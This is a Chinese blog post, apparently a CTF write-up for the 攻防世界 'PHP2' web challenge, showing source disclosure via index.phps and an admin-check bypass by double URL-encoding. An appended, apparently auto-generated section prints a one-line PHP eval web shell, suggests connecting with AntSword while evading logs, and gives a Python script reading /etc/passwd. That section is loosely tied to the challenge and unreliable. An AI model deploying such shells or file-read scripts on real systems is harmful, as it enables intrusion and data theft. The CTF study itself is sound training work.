【CTF】攻防世界——PHP2(web)

本文探讨了利用PHP后缀名解析特性绕过文件上传限制的方法,特别是使用少见的phps后缀。通过分析index.php源码,揭示了如何通过URL双重编码绕过安全检查。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
打开网页,只有这样一句话。源码里没有注释,没有<head>,响应包里也没什么信息。
御剑扫目录,扫出index.phps
在这里插入图片描述
这里的原理是php有很多后缀名都可以正确解析,这点通常用于绕过文件上传的黑名单限制。结合题目php2也可以想到这一点,不过phps我是真的不知道,所以手工没测出来。
在这里插入图片描述
访问获得源码,测试?id=admin可知是index.php的源码
在这里插入图片描述
在这里插入图片描述
接着分析下面的代码,可知通过url编码可以绕过。这里要注意的是,url发到服务器那里会自动解码一次,然后才传到php代码中。所以我们要进行二次编码才可以绕过:
字母a编码一次:%61
再编码一次:%2561
发送:
在这里插入图片描述
传到服务器时id变成:%61dmin,在php代码中又解码一次变成admin
在这里插入图片描述

### 攻防世界 PH2 CTF 比赛第二阶段解题思路 #### 1. 初步分析题目环境 在攻防世界CTF比赛中,PH2通常涉及更复杂的Web漏洞利用场景。根据已知的信息[^1],该阶段可能涉及到文件上传、PHP代码执行以及绕过特定的安全机制等内容。 #### 2. 文件上传与过滤规避 由于题目对常见的PHP后缀进行了严格过滤,因此需要采用一些技巧来实现恶意脚本的运行。一种常见的方式是通过使用无后缀或者特殊后缀的文件配合服务器配置错误达到目的。例如,在某些情况下可以尝试如下payload: ```php <?=@eval($_POST['flag']);?> ``` 此代码片段是一种非常简洁的PHP木马形式,能够接受来自`$_POST['flag']`的数据并对其进行评估执行[^2]。 #### 3. 使用蚁剑或其他工具建立连接 一旦成功上传了一个可被执行的PHP脚本,则可以通过诸如蚁剑这样的远程管理工具与其建立连接。具体操作上需要注意的是确保所使用的连接方式不会被额外的日志记录功能捕获从而暴露攻击路径。 #### 4. 报错处理与深入理解 对于过程中遇到的一些异常报错情况,虽然可能是由靶场本身引起的问题[^3],但也应该仔细研究其背后的原因。这不仅有助于当前问题解决还能够在以后类似的竞赛中有更好的表现。 #### 5. 结合其他漏洞完成目标 除了上述提到的内容外,还有可能存在其他的辅助性漏洞比如任意文件读取漏洞或是Python Flask框架下的Session伪造漏洞等[^4]。合理运用这些条件往往能事半功倍地达成最终的目标——获取Flag值。 ```python import requests from bs4 import BeautifulSoup def exploit_arbitrary_file_read(url, file_path): payload = {'file': (None, file_path)} response = requests.post(url + '/read', files=payload) soup = BeautifulSoup(response.text, 'html.parser') return soup.get_text() print(exploit_arbitrary_file_read('http://example.com/vulnerable-app', '/etc/passwd')) ``` 以上展示了一段简单的Python代码用于演示如何利用假设存在的任意文件读取漏洞去读取系统上的敏感信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值